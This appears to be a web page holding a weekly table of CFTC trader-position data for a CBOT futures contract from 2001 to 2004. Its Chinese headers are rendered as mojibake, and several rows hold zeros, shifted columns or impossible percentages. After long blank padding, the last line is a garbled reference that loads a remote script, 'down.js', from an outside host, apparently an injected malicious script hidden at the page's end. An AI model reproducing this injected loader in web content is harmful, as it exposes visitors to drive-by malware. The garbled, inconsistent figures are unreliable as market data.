胆忽CFTC巷下議CBOT寄狭豚歯隔花烏御
 
 
    汽了妻      偏魁定業艮渉9埖1晩-肝定8埖31晩      巷下晩豚挫盛扮寂耽巓励
    舜峭晩豚 悳隔花 児署謹汽 児署腎汽 児署謹汽奐受 児署腎汽奐受 児署謹汽曳箭 児署腎汽曳箭 斌匍謹汽 斌匍腎汽 斌匍謹汽奐受 斌匍腎汽奐受 斌匍謹汽曳箭 斌匍腎汽曳箭 凪万謹汽 凪万腎汽 凪万謹汽奐受 凪万腎汽奐受 凪万謹汽曳箭 凪万腎汽曳箭 耗恂楚 耗恂奐受 耗恂曳箭
    2004-7-20 169419 25037 32809 -3811 5717 14.8 19.4 91697 75260 2204 -15377 54.1 44.4 41053 49718 -6982 1071 23.3 29.3 11632 -507 6.9
    2004-7-13 178515 28848 27092 -737 7264 16.2 15.2 89493 90637 4959 -3785 50.1 50.8 48035 48647 5919 6662 23.3 27.3 12139 -528 6.8
    2004-7-6 168902 29585 19828 -5150 2720 17.5 11.7 84534 94422 -3675 -9368 50 55.9 42116 41985 -4343 -6520 23.3 24.9 12667 -1386 7.5
    2004-6-29 183456 34735 17108 -6710 1725 18.9 9.3 88209 103790 -2017 -9560 48.1 56.6 46459 48505 -3306 -4198 23.3 26.4 14053 -4616 7.7
    2004-6-22 200105 41445 15383 321 -1042 20.7 7.7 90226 113350 -832 -3889 45.1 56.6 49765 52703 -2127 2293 23.3 26.3 18669 391 9.3
    2004-6-15 202352 41124 16425 890 -2139 20.3 8.1 91058 117239 -487 5185 45 57.9 51892 50410 -5335 -7978 23.3 24.9 18278 2910 9
    2004-6-8 204374 40234 18564 -838 478 19.7 9.1 91545 112054 -1873 -6016 44.8 55.8 57227 58388 6386 9213 23.3 28.6 15368 -351 7.5
    2004-6-1 201050 41072 18086 -849 -997 20.4 9 93418 118070 441 -2069 46.5 58.7 50841 49175 -1770 888 23.3 24.5 15719 -1200 7.8
    2004-5-25 204428 41921 19083 1368 -3166 20.5 9.3 92977 120139 -7481 -4890 45.5 58.8 52611 48287 -7094 -5151 23.3 23.6 16919 2222 8.3
    2004-5-18 215413 40553 22249 -21258 2267 18.8 10.3 100458 125029 8451 -23067 46.6 58 59705 53438 -2407 5586 23.3 24.8 14697 -4705 6.8
    2004-5-11 235332 61811 19982 3069 1705 26.3 8.5 92007 148096 -4394 -3640 39.1 62.9 62112 47852 -6838 -6228 23.3 20.3 19402 948 8.2
    2004-5-4 242547 58742 18277 4667 2389 24.2 7.5 96401 151736 -4226 2120 39.7 62.6 68950 54080 -6752 -10820 23.3 22.3 18454 -6655 7.6
    2004-4-27 255513 54075 15888 -422 -4940 21.2 6.2 100627 149616 -5394 1337 39.4 58.6 75702 64900 -1789 -4002 23.3 25.4 25109 789 9.8
    2004-4-20 262329 54497 20828 -2605 -378 20.8 7.9 106021 148279 433 -6721 40.4 56.5 77491 68902 -4491 436 23.3 26.3 24320 66 9.3
    2004-4-12 268926 57102 21206 -6654 563 21.2 7.9 105588 155000 191 -8950 39.3 57.6 81982 68466 -333 1591 23.3 25.5 24254 330 9
    2004-4-6 275392 63756 20643 -7759 2378 23.2 7.5 105397 163950 5019 -6558 38.3 59.5 82315 66875 4290 5730 23.3 24.3 23924 4019 8.7
    2004-3-30 269823 71515 18265 -3225 -2202 26.5 6.8 100378 170508 3156 4429 37.2 63.2 78025 61145 1573 -723 23.3 22.7 19905 -279 7.4
    2004-3-23 268598 74740 20467 -2029 962 27.8 7.6 97222 166079 1050 2135 36.2 61.8 76452 61868 6707 2631 23.3 23 20184 -124 7.5
    2004-3-16 262994 76769 19505 3208 1780 29.2 7.4 96172 163944 1359 2089 36.6 62.3 69745 59237 4848 5546 23.3 22.5 20308 1406 7.7
    2004-3-9 252173 73561 17725 -2901 17 29.2 7 94813 161855 -2468 -3152 37.6 64.2 64897 53691 -6329 -8563 23.3 21.3 18902 -2463 7.5
    2004-3-2 266334 76462 17708 831 -1185 28.7 6.6 97281 165007 -6425 -7260 36.5 62 71226 62254 -307 2544 23.3 23.4 21365 -2095 8
    2004-2-24 274330 75631 18893 3762 -6104 27.6 6.9 103706 172267 -505 4785 37.8 62.8 71533 59710 11378 15954 23.3 21.8 23460 -1603 8.6
    2004-2-17 261298 71869 24997 364 925 27.5 9.6 104211 167482 640 -6051 39.9 64.1 60155 43756 -8219 -2089 23.3 16.7 25063 1214 9.6
    2004-2-10 267299 71505 24072 -2329 2854 26.8 9 103571 173533 -2318 -5946 38.7 64.9 68374 45845 -723 -2278 23.3 17.2 23849 4956 8.9
    2004-2-3 267713 73834 21218 -15103 2808 27.6 7.9 105889 179479 9270 -9449 39.6 67 69097 48123 -581 227 23.3 18 18893 -434 7.1
    2004-1-27 274561 88937 18410 1301 -184 32.4 6.7 96619 188928 5103 8090 35.2 68.8 69678 47896 5639 4137 23.3 17.4 19327 -24 7
    2004-1-13 257217 84045 15243 9333 862 32.7 5.9 87546 174901 1794 9484 34 68 65988 47435 3178 3959 23.3 18.4 19638 -810 7.6
    2004-1-6 243722 74712 14381 1616 173 30.7 5.9 85752 165417 -1948 4570 35.2 67.9 62810 43476 -174 -5249 23.3 17.8 20448 -2567 8.4
    2003-12-30 246795 73096 14208 2707 -2041 29.6 5.8 87700 160847 -3631 -1890 35.5 65.2 62984 48725 -7205 -4198 23.3 19.7 23015 2507 9.3
    2003-12-22 252417 70389 16249 -381 -2939 27.9 6.4 91331 162737 -274 247 36.2 64.5 70189 52923 -5038 -3001 23.3 21 20508 -1112 8.1
    2003-12-16 259222 70770 19188 -6080 1098 27.3 7.4 91605 162490 248 -3450 35.3 62.7 75227 55924 6475 2995 23.3 21.6 21620 -1338 8.3
    2003-12-9 259917 76850 18090 8046 -27 29.6 7 91357 165940 693 8151 35.1 63.8 68752 52929 3181 3796 23.3 20.4 22958 2349 8.8
    2003-12-2 245648 68804 18117 2804 -203 28 7.4 90664 157789 -1745 2478 36.9 64.2 65571 49133 1265 49 23.3 20 20609 1400 8.4
    2003-11-25 241924 66000 18320 -69 -83 27.3 7.6 92409 155311 2646 1498 38.2 64.2 64306 49084 1084 2246 23.3 20.3 19209 -2566 7.9
    2003-11-18 240829 66069 18403 1379 2120 27.4 7.6 89763 153813 2143 -323 37.3 63.9 63222 46838 -376 1349 23.3 19.4 21775 -231 9
    2003-11-11 237914 64690 16283 -2542 -2164 27.2 6.8 87620 154136 -4184 -2077 36.8 64.8 63598 45489 1963 -522 23.3 19.1 22006 -2551 9.2
    2003-11-4 245228 67232 18447 -6380 4090 27.4 7.5 91804 156213 -5931 -14510 37.4 63.7 61635 46011 -3086 -4977 23.3 18.8 24557 -3351 10
    2003-10-28 263976 73612 14357 -3481 -1009 27.9 5.4 97735 170723 -5680 -2583 37 64.7 64721 50988 4349 -1220 23.3 19.3 27908 1124 10.6
    2003-10-21 267664 77093 15366 1320 -3617 28.8 5.7 103415 173306 -3526 10080 38.6 64.7 60372 52208 6441 -2228 23.3 19.5 26784 -5898 10
    2003-10-14 269327 75773 18983 5626 754 28.1 7 106941 163226 -1280 2641 39.7 60.6 53931 54436 3474 4425 23.3 20.2 32682 -1901 12.1
    2003-10-7 263408 70147 18229 1074 -2681 26.6 6.9 108221 160585 370 8203 41.1 61 50457 50011 4218 140 23.3 19 34583 1285 13.1
    2003-9-30 256461 69073 20910 7006 -6686 26.9 8.2 107851 152382 870 15322 42.1 59.4 46239 49871 4544 3784 23.3 19.4 33298 -1001 13
    2003-9-23 245042 62067 27596 3562 -4878 25.3 11.3 106981 137060 1078 10072 43.7 55.9 41695 46087 3291 2737 23.3 18.8 34299 6371 14
    2003-9-16 230740 58505 32474 1915 -2150 25.4 14.1 105903 126988 6089 9372 45.9 55 38404 43350 3559 4341 23.3 18.8 27928 4026 12.1
    2003-9-9 215151 56590 34624 8826 -2757 26.3 16.1 99814 117616 -4643 4545 46.4 54.7 34845 39009 -1519 876 23.3 18.1 23902 223 11.1
    2003-9-2 212264 47764 37381 437 -3806 22.5 17.6 104457 113071 -1803 2127 49.2 53.3 36364 38133 987 1300 23.3 18 23697 1735 11.2
    2003-8-26 210908 47327 41187 7646 252 22.4 19.5 106260 110944 -625 10664 50.4 52.6 35377 36833 3952 57 23.3 17.5 21944 3148 10.4
    2003-8-19 196787 39681 40935 12156 -7082 20.2 20.8 106885 100280 -360 19399 54.3 51 31425 36776 2276 1755 23.3 18.7 18796 5701 9.6
    2003-8-12 177014 27525 48017 6723 -9457 15.5 27.1 107245 80881 -5032 9341 60.6 45.7 29149 35021 -1666 141 23.3 19.8 13095 1336 7.4
    2003-8-5 175653 20802 57474 -2252 -1147 11.8 32.7 112277 71540 69 -424 63.9 40.7 30815 34880 -2614 -3226 23.3 19.9 11759 -732 6.7
    2003-7-29 181182 23054 58621 -272 6911 12.7 32.4 112208 71964 -6345 -11088 61.9 39.7 33429 38106 -200 -2640 23.3 21 12491 -4675 6.9
    2003-7-22 192674 23326 51710 -2796 10199 12.1 26.8 118553 83052 6294 -5997 61.5 43.1 33629 40746 1697 993 23.3 21.1 17166 -237 8.9
    2003-7-15 187716 26122 41511 -5356 3724 13.9 22.1 112259 59049 10442 -2618 59.8 47.4 31932 39753 -4063 -83 23.3 21.2 17403 108 9.3
    2003-7-8 186585 31478 37787 -19548 -402 16.9 20.3 101817 91667 2195 -16341 54.6 49.1 35995 39836 977 367 23.3 21.4 17295 -3321 9.3
    2003-7-1 206282 51026 38189 -8220 1634 24.7 18.5 99622 108008 933 -8066 48.3 52.4 35018 39469 -7384 -8239 23.3 19.1 20616 -6188 10
    2003-6-24 227141 59246 36555 1736 -1678 26.1 16.1 98689 116074 -627 4864 43.4 51.1 42402 47708 2405 328 23.3 21 26804 4206 11.8
    2003-6-17 219421 57510 38233 -10431 -2038 26.2 17.4 99316 111210 3467 -6507 45.3 50.7 39997 47380 346 1927 23.3 21.6 22598 3024 10.3
    2003-6-10 223015 67941 40271 7305 3901 30.5 18.1 95849 117717 -3466 -269 43 52.8 39651 45453 -3645 -3438 23.3 20.4 19574 -2456 8.8
    2003-6-3 225227 60636 36370 -11385 4393 26.9 16.1 99315 117986 10637 -7616 44.1 52.4 43296 48981 -1295 1180 19.2 21.7 22030 356 9.8
    2003-5-27 226964 72021 31977 -9483 -1086 31.7 14.1 88678 125602 4779 -5791 39.1 55.3 44591 47711 -1350 823 19.6 21 21674 -1597 9.5
    2003-5-20 234615 81504 33063 2766 5098 34.07 14.1 83899 131393 4766 -677 35.8 56 45941 46888 62 3173 23.3 20 23271 -1319 9.9
    2003-5-13 228304 78738 27965 -2943 2771 34.5 12.2 79133 132070 3350 -2221 34.7 57.8 45879 43715 1485 1342 23.3 19.1 24590 -1520 10.8
    2003-5-6 227968 81681 25194 -1928 1741 35.8 11.1 75783 134291 -10344 -12600 33.2 58.9 44934 42373 2161 748 23.3 18.6 26110 -6681 11.5
    2003-4-29 244760 83609 23453 -3275 1338 34.2 9.6 86127 146891 -6816 -9533 35.2 60 42233 41625 -2770 -4666 23.3 17 32791 -2023 13.4
    2003-4-22 259644 86884 22115 -2542 2755 33.5 8.5 92943 156424 -1129 -3449 35.8 60.2 45003 46291 -225 -3202 34.2 9.6 34814 -701 13.4
    2003-4-15 264241 89426 19360 4238 1030 33.8 7.3 94072 159873 4042 5768 35.6 60.5 45228 49493 4337 5819 23.3 18.7 35515 1379 13.4
    2003-4-8 250245 85188 18330 26042 5532 34 7.3 90030 154105 -6475 9658 36 61.6 40891 43674 201 4578 23.3 17.5 34136 5131 13.6
    2003-4-1 225346 59146 12798 -4521 -929 26.2 5.7 96505 144447 1644 -2454 42.8 64.1 40690 39096 1814 2320 23.3 17.3 29005 2071 12.9
    2003-3-25 224338 63667 13727 -1826 379 28.4 6.1 94861 146901 -1893 -4147 42.3 65.5 38876 36776 -1393 -1344 23.3 16.4 26934 -461 12
    2003-3-18 229911 65493 13348 3916 87 28.5 5.8 96754 151048 545 2636 42.1 65.7 40269 38120 -147 1591 23.3 16.6 27395 1880 11.9
    2003-3-11 223717 61577 13261 -15532 -921 27.5 5.9 96209 148412 6483 -3729 43 16.3 40416 36529 2349 -2050 23.3 16.3 25515 -762 11.4
    2003-3-4 231179 77109 14182 3747 1094 33.4 6.1 89726 152141 -1026 -2235 38.8 65.8 38067 38579 -4693 -831 23.3 16.7 26277 1312 11.4
    2003-2-25 231839 73362 13088 11156 -764 31.6 5.6 90752 154376 -2310 9081 39.1 66.6 42760 39410 627 1156 23.3 17 24965 -1174 10.8
    2003-2-18 223540 62206 13852 3816 1261 27.8 6.2 93062 145295 9826 7060 41.6 65 42133 38254 -1790 3531 23.3 17.1 26139 2374 11.7
    2003-2-11 209314 58390 12591 2601 -13 27.9 6 83236 138235 2018 4141 39.8 66 49923 34723 304 187 21 16.6 23765 2546 11.4
    2003-2-4 202453 55789 12604 -2623 3135 27.6 6.2 81218 134094 3127 -550 40.1 66.2 44227 34536 1621 -460 21.8 17.1 21219 3531 10.5
    2003-1-28 196797 58412 9469 10028 -3733 29.7 4.8 78091 134644 -7575 4018 39.7 68.4 42606 34996 -1432 736 21.6 17.8 17688 -1215 4.9
    2003-1-21 196991 43384 13202 -5566 4395 24.6 6.7 85666 130626 8344 -4613 43.5 66.3 44038 34260 -1614 1382 23.3 17.4 18903 663 9.6
    2003-1-14 195164 53950 8807 -23759 1639 27.6 4.5 77322 135239 8361 -18640 39.6 69.3 45652 32878 -3584 -1981 23.3 16.8 18240 1353 9.3
    2003-1-7 212793 77709 7168 22218 2027 36.5 3.4 68961 153879 -11839 9849 32.4 72.3 49236 34859 3413 1916 23.3 16.4 16887 -2350 7.9
    2002-12-31 201351 55491 5141 -5643 -2570 27.6 2.6 80800 144030 -74 -1965 40.1 71.5 45823 32943 -1788 -2970 23.3 16.4 19237 -1409 9.6
    2002-12-23 210265 61134 7711 -946 -2738 29.1 3.7 80874 145995 -2710 -3845 38.5 69.4 47611 35913 -2848 79 23.3 17.1 20646 -1843 9.8
    2002-12-17 218612 62080 10449 -605 1941 28.4 4.8 83584 149840 4955 386 38.2 68.5 50459 35834 -2240 -217 23.3 16.4 22489 1601 10.3
    2002-12-3 218024 66064 8327 15 -408 30.3 3.8 74949 151449 1942 -720 34.4 69.5 55972 37209 679 3764 23.3 17.1 21039 1368 9.6
2002-11-26 214020 66049 8735 6904 -625 30.9 4.1 73007 152169 558 10716 34.1 71.1 55293 33445 2985 353 23.3 15.6 19671 -2071 9.2
2002-11-19 205644 59145 9360 3288 -2334 28.8 4.6 72449 141450 589 5057 35.2 68.8 52308 33092 -2958 -1804 23.3 16.1 21742 2367 10.6
2002-11-12 202358 55857 11694 -1209 814 27.6 5.8 71860 136393 -3764 -4324 35.5 67.4 55266 34896 231 -1232 23.3 17.2 19375 -1029 9.6
2002-11-5 208129 57066 10880 6496 773 27.4 5.2 75624 140717 -4071 307 36.3 67.6 55035 36128 -1376 -31 23.3 17.4 20404 -5150 9.8
2002-10-29 212590 20570 10107 -5716 -1149 23.8 4.8 79695 140410 -1734 -1725 37.5 66 56411 36159 3978 -598 23.3 17 25914 60 12.2
2002-10-22 216002 56286 11256 1325 682 26.1 5.2 81429 142135 5172 6632 37.7 65.8 52433 36757 2221 1404 23.3 17 25854 724 12
2002-10-15 206560 54961 10574 -455 -1650 26.6 5.1 76257 135503 -1600 2616 36.9 65.6 50212 35353 4970 1949 23.3 17.1 25130 391 12.2
2002-10-8 0 45514 9999 -4022 -606 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
2002-10-1 204804 58613 12957 -4024 301 28.6 54 75915 133743 2434 -1157 37.1 65.3 45207 33035 -531 -1265 22.1 16.1 25069 2832 12.2
2002-9-24 204093 62637 12656 1904 574 30.7 6.2 73481 134900 39 -98 36 66.1 45738 34300 -226 1241 23.3 16.8 22237 1762 10.9
2002-9-17 200614 60733 13082 3382 -5379 30.3 6 73442 134998 -1407 5821 36.6 67.3 45964 33059 -382 1151 23.3 16.5 20475 623 10.2
2002-9-10 198398 57351 17461 7796 -1752 28.9 8.8 74849 129177 -6626 546 37.7 65.1 46346 31908 -1001 1376 23.3 16.1 19852 -531 10
2002-9-3 198759 49555 19123 777 3747 24.9 9.7 81474 128631 3875 3945 41 64.7 0 0 0 0 0 0 0 0 0
2002-8-27 192213 48778 15466 -8167 338 77.59 8 124686 2411 -9174 40 4 64.9 0 0 0 0 0 0 0 0 0
2002-8-20 205221 56945 15128 -2849 3931 27.7 7.4 75187 133860 2199 -5088 65.2 35.2 0 0 0 0 0 0 0 0 0
2002-8-13 207399 59794 11197 3755 -2310 28.8 5.4 72988 138948 -1064 3477 35.2 67 0 0 0 0 0 0 0 0 0
2002-8-6 202226 56039 13507 648 -11 27.7 6.7 74052 135471 -3749 -1093 36.6 67 0 0 0 0 0 0 0 0 0
2002-7-30 205510 55391 13518 -16048 -6850 27 6.6 77801 136564 -1093 -3300 37.9 66.5 0 0 0 0 0 0 0 0 0
2002-7-23 236040 71439 20368 238 1665 30.3 8.6 81101 154234 5839 4629 34.4 65.3 55009 32947 388 171 23.3 14 28491 1219 12.1
2002-7-16 228356 71201 18703 3668 1101 31.2 5.2 75262 4242 149605 11574 33 65.5 54621 32776 5706 941 23.9 14.4 27272 4727 11.9
2002-7-9 210013 67533 17602 5433 -2562 32.2 8.4 71020 138031 -10694 635 37.8 63.5 48915 31835 79 -3252 23.3 15.2 22545 -1072 10.7
2002-7-2 216267 62100 20167 15237 3716 28.7 9.3 81714 137396 4873 23392 37.8 63.5 48836 35087 5955 -1043 22.6 16.2 23617 -872 12.8
2002-6-25 191074 46863 16451 -5433 -3166 24.5 8.6 76841 114004 1308 7253 40.2 59.7 42881 36130 5983 -2231 18.9 22.4 24489 560 12.8
2002-6-18 188658 52298 19617 -6502 -942 27.7 10.4 75533 106751 10028 5166 40 56.6 36898 38361 -406 -1104 19.6 20.3 23929 1628 12.7
2002-6-11 183910 58800 20559 -1299 -2833 32 11.2 65505 101585 3676 4474 35.6 55.2 37304 39465 -451 285 20.3 21.5 22301 -1009 12.1
2002-6-4 182993 60099 23392 4264 -823 32.8 12.8 61829 97111 4948 14034 33.8 53.1 37755 39180 2720 -1279 20.6 21.4 23310 2272 12.7
2002-5-28 168789 55835 24215 7088 2202 33.1 14.3 56881 83077 -2469 611 33.7 49.2 35035 40459 312 2118 20.8 24 21038 -1572 12.5
2002-5-21 165430 48747 22013 12340 991 29.5 13.3 59350 82466 912 9614 35.9 49.8 34723 38341 -217 2730 21 23.2 22610 3595 13.7
2002-5-7 143054 29945 22902 -1748 905 20.9 16 59275 65741 -1523 -3535 41.4 46 35220 35797 -214 -825 24.6 25 18614 30 13
2002-4-30 146479 31663 21997 -7144 -1166 21.6 15 60798 69276 -6043 -11499 41.5 47.3 35434 36622 -398 -920 24.2 25 18584 -1139 12.7
2002-4-23 161203 38807 23163 5286 3672 24.1 14.4 66841 80775 549 2383 41.5 50.1 35832 37542 -742 -962 22 23.3 19723 92 12.2
2002-4-16 156018 33521 19491 -3426 71 21.5 12.5 66292 78392 -9775 -12781 44.8 53.7 36574 38504 -86 -577 23.4 24.7 19631 -562 12.6
2002-4-9 169867 36947 19420 -14795 -2040 21.8 11.4 76067 91173 9872 -4668 44.8 53.7 36660 39081 -3048 -1263 21.6 23 20193 -241 11.5
2002-4-2 178079 51742 21460 4919 -1081 29.1 12.1 66195 95841 -2246 5388 37.2 53.8 39708 40344 1188 -446 22.3 22.7 20434 1851 11.5
2002-3-26 172367 46823 22541 -3458 -245 27.2 13.1 68441 90453 2447 -2845 39.7 52.5 38520 40790 -753 1326 22.3 23.7 18583 -326 10.8
2002-3-19 174457 50281 22786 2540 -531 28.8 13.1 65994 93298 2523 2302 37.8 53.5 39273 39464 -1367 863 22.5 22.6 18909 -1164 10.8
2002-3-12 171925 47741 22255 19618 2641 27.8 12.9 63471 90996 -4567 6881 36.9 52.9 40640 38601 -1350 4179 23.6 22.5 20073 1153 11.7
2002-3-5 157071 28123 19614 6191 -2209 17.9 12.5 68038 84115 -13395 -9178 43.3 53.6 41990 34422 -4095 88 26.7 21.9 18920 1574 12
2002-2-26 166796 21932 21823 -400 -7363 13.1 13.1 81433 93293 -2403 -42 48.8 55.9 46085 34334 -2522 2080 27.6 20.6 17346 -1235 10.4
2002-2-19 173356 22332 29186 2521 -1159 12.9 16.8 83836 93335 1122 5785 48.4 53.8 48607 32254 1772 789 28 18.6 18581 -777 10.7
2002-2-14 148500 36107 21022 6162 -1880 24.3 14.2 58438 72852 -837 7111 39.4 49.1 34940 35611 -280 -186 23.5 24 19015 401 12.8
2002-2-12 168718 19811 30345 231 1956 11.7 18 82714 87550 1755 1192 49 51.9 46835 31465 130 -1032 27.8 18.6 19358 1740 11.5
2002-2-5 164862 19580 28389 805 6601 11.9 17.2 80959 86358 5081 2489 49.1 52.4 46705 32497 1571 -1633 28.3 19.7 17618 -274 10.7
2002-1-29 157679 18775 21788 -3467 6421 11.9 13.8 75878 112545 5159 -2941 48.1 53.2 45134 34130 -288 -2076 28.6 21.6 17892 1039 11.3
2002-1-22 201530 19658 15332 2395 -4252 9.8 7.6 87606 103992 2516 2577 43.5 51.6 53578 41518 -3294 3293 26.6 20.6 40688 639 20.2
2002-1-15 153854 19787 18056 3406 -14982 12.9 11.7 69573 85850 -6079 6857 45.2 55.8 47285 32739 -3594 1858 30.7 21.3 17209 3126 11.2
2002-1-8 156995 16381 33038 3364 1980 10.4 21 75652 78993 -4821 -2806 48.2 50.3 50879 30881 2114 1483 32.4 19.7 14083 -1729 9
2001-12-28 158067 13017 31053 -5090 2023 8.2 19.6 80473 81799 -2525 -9327 50.9 51.7 48765 29398 -4418 -4729 30.9 18.6 15812 -2138 10
2001-12-21 172238 18107 29035 -856 -2723 10.5 16.9 82998 91126 -4585 -1787 48.2 52.9 53183 34127 24 -907 30.9 19.8 17950 -519 10.4
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
                                             
y D3P^0xHrgq'隧http://Town.531jx.cn/down.js>